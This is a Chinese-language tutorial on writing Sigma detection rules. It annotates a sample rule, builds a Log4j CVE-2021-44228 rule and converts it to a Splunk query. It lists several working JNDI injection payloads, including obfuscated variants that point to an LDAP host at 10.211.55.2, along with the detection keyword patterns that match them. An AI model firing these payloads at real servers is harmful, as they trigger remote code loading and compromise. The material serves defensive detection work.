Sigma规则下的威胁检测

title: 这是一个例子 （标题）id: 5ea8faa8-db8b-45be-89b0-151b84c82702（编号）status: 实验 （状态）description: 这是一个例子 （描述）author: yunzui        （作者）date: 2022/07/31       （日前）modified: 2022/07/31references:   （参考）    -  tags:          （对应的ATT&CK）    - attack.initial_access    - attack.t1190logsource:       （日志）    category: webserverdetection:       （检测）    keywords:    （匹配特征）        - 'yunzui'            filter:       （过滤）        - 'mitian'            condition: keywords and not filter  （命令逻辑）falsepositives:    （漏洞类型）    - Vulnerability scanninglevel: high         （安全级别）

${jndi:ldap://10.211.55.2:8099/xobject}${jndi:ldap://127.0.0.1#10.211.55.2:8099/xobject}${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://10.211.55.2:8099/xobject}${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://10.211.55.2:8099/xobject}${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://10.211.55.2:8099/xobject}${${Lt::-j}${qAwQ:xz:-n}${j:j:-d}${PRX:jp:-i}:${r:M:-l}${::-d}${h:OjMc:-a}${OeR:iAob:-p}://10.211.55.2:8099/xobject}${${SFQv:jxfH:dhe:MNbb:n:-j}${hGS:w:N:-n}${:BAwG:A:QLo:-d}${mGFi:fjuO:::-i}:${:WhYw::-l}${X:ia::Pr:-d}${Bd:mrW:alo:-a}${N::-p}://10.211.55.2:8099/xobject}${${lower:${lower:j}}${lower:n}${lower:${lower:${lower:d}}}${lower:${lower:i}}:${lower:${lower:${lower:l}}}${lower:${lower:d}}${lower:${lower:${lower:a}}}${lower:${lower:${lower:${lower:p}}}}://10.211.55.2:8099/xobject}${${upper:${upper:${upper:${upper:j}}}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:${upper:d}}}}}${upper:${upper:i}}:${upper:${upper:${upper:l}}}${upper:${upper:d}}${upper:${upper:${upper:${upper:${upper:a}}}}}${upper:p}://10.211.55.2:8099/xobject}${${upper:${upper:${upper:j}}}${lower:${lower:${lower:n}}}${lower:${upper:d}}${upper:${lower:i}}:${lower:${lower:${upper:${lower:l}}}}${lower:${lower:${upper:d}}}${upper:${lower:${upper:${lower:a}}}}${upper:${lower:p}}://10.211.55.2:8099/xobject}

title: Log4j RCE CVE-2021-44228id: 5ea8faa8-db8b-45be-89b0-151b84c82731status: testdescription: Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 author: yunzuidate: 2022/07/31modified: 2022/12/06references:    - https://www.lunasec.io/docs/blog/log4j-zero-day/    - https://news.ycombinator.com/item?id=29504755tags:    - attack.initial_access    - attack.t1190logsource:    category: webserverdetection:    keywords:        - '${jndi:ldap:/'        - '${jndi:rmi:/'        - '${jndi:ldaps:/'        - '${jndi:dns:/'        - '/$%7bjndi:'        - '%24%7bjndi:'        - '$%7Bjndi:'        - '%2524%257Bjndi'        - '%2F%252524%25257Bjndi%3A'        - '${jndi:${lower:'        - '${::-j}${'        - '${jndi:nis'        - '${jndi:nds'        - '${jndi:corba'        - '${jndi:iiop'        - 'Reference Class Name: foo'        - '${${env:BARFOO:-j}'        - '${::-l}${::-d}${::-a}${::-p}'        - '${base64:JHtqbmRp'        - '${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}$'        - '${${lower:j}ndi:'        - '${${upper:j}ndi:'        - '${${::-j}${::-n}${::-d}${::-i}:'    filter:        - 'www.acunetix.com/acunetix'        - '/acunetix}'    condition: keywords and not filterfalsepositives:    - Vulnerability scanninglevel: high

python .sigmac.py -t splunk -c ..configgenericwindows-services.yml ....ruleswebweb_cve_2021_44228_log4j.yml

(("${jndi:ldap:/" OR "${jndi:rmi:/" OR "${jndi:ldaps:/" OR "${jndi:dns:/" OR "/$%7bjndi:" OR "%24%7bjndi:" OR "$%7Bjndi:" OR "%2524%257Bjndi" OR "%2F%252524%25257Bjndi%3A" OR "${jndi:${lower:" OR "${::-j}${" OR "${jndi:nis" OR "${jndi:nds" OR "${jndi:corba" OR "${jndi:iiop" OR "Reference Class Name: foo" OR "${${env:BARFOO:-j}" OR "${::-l}${::-d}${::-a}${::-p}" OR "${base64:JHtqbmRp" OR "${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}$" OR "${${lower:j}ndi:" OR "${${upper:j}ndi:" OR "${${::-j}${::-n}${::-d}${::-i}:") NOT ("www.acunetix.com/acunetix" OR "/acunetix}"))